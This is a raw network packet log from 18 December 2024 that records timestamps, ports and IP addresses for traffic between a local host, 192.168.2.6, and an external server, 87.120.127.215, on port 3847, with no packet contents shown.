Dec 18, 2024 19:28:07.836128950 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.836273909 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.836364031 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.837167978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.837280989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.837491035 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.837938070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.838032007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.838290930 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.838995934 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.839126110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.839181900 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.839874029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.839979887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.841039896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.841104984 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.841191053 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.841243982 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.841774940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.841999054 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.842046022 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.842771053 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.842843056 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.842897892 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.843672037 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.843740940 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.843972921 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.844635963 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.844770908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.844830036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.845607042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.845731974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.845782995 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.846565008 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.846649885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.847512007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.847565889 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.847625971 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.847670078 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.848606110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.894344091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.990665913 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.990721941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.990868092 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.991137981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.991290092 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.991364002 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.992091894 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.992149115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.992198944 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.993144989 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.993269920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.993311882 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.994227886 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.994421005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.994467020 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.995269060 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.995472908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.995532036 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.996151924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.996212006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.996252060 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.997015953 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.997167110 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.997211933 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.997792959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.997895956 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.997939110 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.998800993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.998960972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.999289989 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:07.999716043 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.999826908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:07.999869108 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.000684977 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.000727892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.000782013 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.001666069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.001790047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.001854897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.002614975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.002672911 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.002752066 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.003540993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.003624916 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.003665924 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.004539013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.004563093 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.004638910 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.005469084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.005567074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.005616903 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.006408930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.006474972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.006524086 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.007379055 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.007565022 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.008157969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.008321047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.008418083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.008466959 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.009223938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.009279013 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.009632111 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.010231018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.010318041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.010365963 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.011173964 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.011257887 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.011616945 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.012181044 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.012273073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.012312889 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.013086081 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.013189077 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.013231039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.014060020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.014182091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.014228106 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.014997959 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.015047073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.015106916 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.015984058 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.016030073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.016100883 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.016900063 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.017000914 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.017050982 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.017914057 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.018021107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.018059969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.018837929 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.019001007 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.019052029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.019890070 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.019956112 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.020004988 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.020733118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.020865917 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.020961046 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.021719933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.021850109 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.021907091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.022770882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.022809029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.022921085 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.023623943 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.023787975 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.023915052 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.024699926 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.024718046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.024786949 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.025551081 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.025710106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.026494026 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.026544094 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.026638031 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.026684999 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.027489901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.027610064 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.027662039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.028461933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.028645039 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.028700113 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.029407024 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.029551029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.029599905 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.030349016 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.030447006 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.030502081 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.031322002 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.031364918 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.031449080 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.032252073 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.032336950 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.032385111 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.033171892 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.033361912 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.033593893 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.034163952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.034249067 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.034293890 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.035141945 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.035235882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.035281897 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.036097050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.036139011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.036181927 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.037060976 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.037220001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.037530899 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.038012981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.038084984 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.038125038 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.038950920 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.039088011 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.039143085 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.039959908 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.040044069 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.040102005 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.040838003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.097476006 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.187604904 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.187777042 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.187875986 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.188040972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.188105106 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.188144922 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.188723087 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.188935995 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.188991070 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.189547062 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.189673901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.189714909 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.190412998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.190524101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.190656900 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.191239119 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.191392899 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.192115068 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.192167997 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.192315102 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.192358017 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.193067074 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.193135023 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.193315029 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.193835020 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.193945885 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.194003105 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.194756985 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.194859982 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.194998980 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.195583105 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.195678949 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.195723057 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.196409941 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.196579933 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.197304010 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.197350979 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.197408915 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.197448969 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.198143005 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.198189974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.198486090 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.199007034 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.199121952 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.199166059 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.199878931 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.200001001 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.200102091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.200732946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.200869083 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.200911045 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.201642990 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.201786041 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.201852083 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.202511072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.202663898 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.202708006 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.203332901 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.203385115 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.203424931 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.204196930 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.204297066 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.204420090 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.205090046 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.205199957 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.205264091 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.205955029 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.206053972 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.206093073 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.206790924 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.206885099 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.206998110 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.207674980 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.207772017 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.207859039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.208530903 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.208616018 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.208659887 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.209393978 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.209553003 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.209733009 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.210278988 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.210391998 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.210434914 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.211154938 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.211373091 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.211420059 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.212023973 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.212071896 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.212265968 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.212855101 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.212973118 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.213010073 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.213819981 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.213931084 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.214602947 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.214639902 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.214699030 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.214736938 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.215432882 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.215549946 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.215708971 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.216406107 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.216562986 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.216753006 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.217384100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.217488050 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.217550039 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.218056917 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.218168974 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.218214989 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.218892097 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.218964100 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.219042063 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.219768047 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.219904900 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.219947100 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.220635891 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.220767021 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.220824003 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.221545935 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.221693993 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.221854925 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.222352028 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.222460032 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.222557068 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.223303080 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.223473072 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.223694086 CET	49859	3847	192.168.2.6	87.120.127.215
Dec 18, 2024 19:28:08.224118948 CET	3847	49859	87.120.127.215	192.168.2.6
Dec 18, 2024 19:28:08.224267960 CET	3847	49859	87.120.127.215	192.168.2.6
